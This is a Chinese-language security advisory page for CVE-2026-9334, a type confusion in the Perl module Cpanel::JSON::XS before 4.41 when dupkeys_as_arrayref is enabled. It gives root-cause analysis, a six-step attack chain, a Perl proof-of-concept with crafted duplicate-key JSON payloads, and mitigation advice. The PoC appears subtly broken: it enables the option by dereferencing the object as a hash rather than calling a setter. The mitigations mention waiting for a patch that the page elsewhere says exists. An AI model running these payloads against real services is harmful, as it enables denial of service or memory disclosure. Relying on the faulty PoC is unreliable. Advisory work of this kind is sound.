IPBUF安全漏洞报告
English
CVE-2026-9334 CVSS 7.3 高危

Cpanel::JSON::XS 4.41之前版本 dupkeys_as_arrayref 类型混淆漏洞

披露日期: 2026-06-03
来源: 9b29abf9-4ab0-4765-b253-1875cd9b441e

漏洞信息

漏洞编号
CVE-2026-9334
漏洞类型
类型混淆
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cpanel::JSON::XS (Perl)

相关标签

Cpanel::JSON::XSPerl类型混淆dupkeys_as_arrayrefJSON解析内存损坏CVE-2026-9334高危漏洞

漏洞概述

Cpanel::JSON::XS是Perl语言中广泛使用的JSON编解码模块。2026年6月披露的CVE-2026-9334漏洞存在于该模块4.41之前的所有版本中。当启用dupkeys_as_arrayref选项进行JSON解码时,decode_hv()函数在处理重复键时会将多个同名键的值合并为数组引用。然而,由于代码逻辑缺陷,在检查旧值类型时过早地调用了SvRV()宏对非引用类型的标量进行解引用操作,导致类型混淆漏洞。攻击者可通过构造包含重复键的恶意JSON数据触发此漏洞,使应用程序崩溃或实现任意内存读取。CVSS评分7.3,属于高危漏洞,对使用该模块处理不可信JSON输入的应用构成严重威胁。

技术细节

漏洞根因位于Cpanel-JSON-XS的decode_hv()函数中。当dupkeys_as_arrayref选项启用时,该函数会将重复的JSON对象键值合并为数组引用。问题代码执行以下检查:SvTYPE(old_value) != SVt_RV && SvTYPE(SvRV(old_value)) != SVt_PVAV。这个检查存在逻辑缺陷:它直接调用SvRV(old_value)来获取引用指向的数据结构,但在此之前并未验证old_value本身是否为引用类型(SVt_RV)。当现有值为普通标量而非数组引用时,SvRV()会对非引用标量进行解引用操作,导致类型混淆。更严重的是,由于标量内容由攻击者控制,解引用后的指针访问实际上遵循攻击者可控的内存地址。攻击者可通过精心构造的JSON数据(如{"key":"AAAA...","key":"BBBB..."})触发此漏洞,造成程序崩溃或潜在的代码执行。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用使用Cpanel::JSON::XS模块处理JSON数据,且启用了dupkeys_as_arrayref选项
STEP 2
步骤2
攻击者构造恶意JSON数据,包含重复的键名,如{"key":"controlled_data1","key":"controlled_data2"}
STEP 3
步骤3
目标应用调用decode()方法解析恶意JSON,decode_hv()函数处理重复键时将第一个值作为old_value
STEP 4
步骤4
代码检查SvTYPE(old_value) != SVt_RV时发现old_value不是引用类型,但随后仍执行SvRV(old_value)进行解引用
STEP 5
步骤5
类型混淆发生,非引用标量被当作引用处理,导致内存访问违规或崩溃
STEP 6
步骤6
攻击者可通过控制标量内容实现信息泄露或进一步利用,取决于内存布局和利用技术

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env perl use strict; use warnings; use Cpanel::JSON::XS qw(decode_json); # PoC for CVE-2026-9334 # Type Confusion in Cpanel::JSON::XS < 4.41 with dupkeys_as_arrayref enabled # Enable dupkeys_as_arrayref to trigger the vulnerable code path my $json_text = '{"key":"value1","key":"value2"}'; # Create JSON decoder with dupkeys_as_arrayref enabled my $codec = Cpanel::JSON::XS->new->utf8->allow_nonref->{dupkeys_as_arrayref}; # This will trigger the type confusion vulnerability # old_value is a plain scalar, not a reference # SvRV(old_value) dereferences it as if it were a reference eval { my $decoded = $codec->decode($json_text); print "Decoded: " . $decoded->{key} . "\n"; }; if ($@) { print "Vulnerability triggered! Error: $@\n"; } # Alternative PoC with more duplicate keys to increase crash probability my $malicious_json = '{"a":"' . 'A' x 100 . '","a":"' . 'B' x 100 . '","a":"' . 'C' x 100 . '"}'; print "\nTrying with malicious JSON payload...\n"; eval { my $result = $codec->decode($malicious_json); }; print "Result: $@\n" if $@;

影响范围

Cpanel::JSON::XS < 4.41

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 检查所有使用Cpanel::JSON::XS的代码,将dupkeys_as_arrayref选项设置为0或false;2) 如果业务逻辑允许,考虑使用其他JSON模块如JSON::PP作为临时替代;3) 对所有JSON输入实施严格的输入验证和过滤;4) 限制处理不可信JSON数据的进程权限,使用沙箱隔离;5) 部署WAF规则检测包含重复键的JSON请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表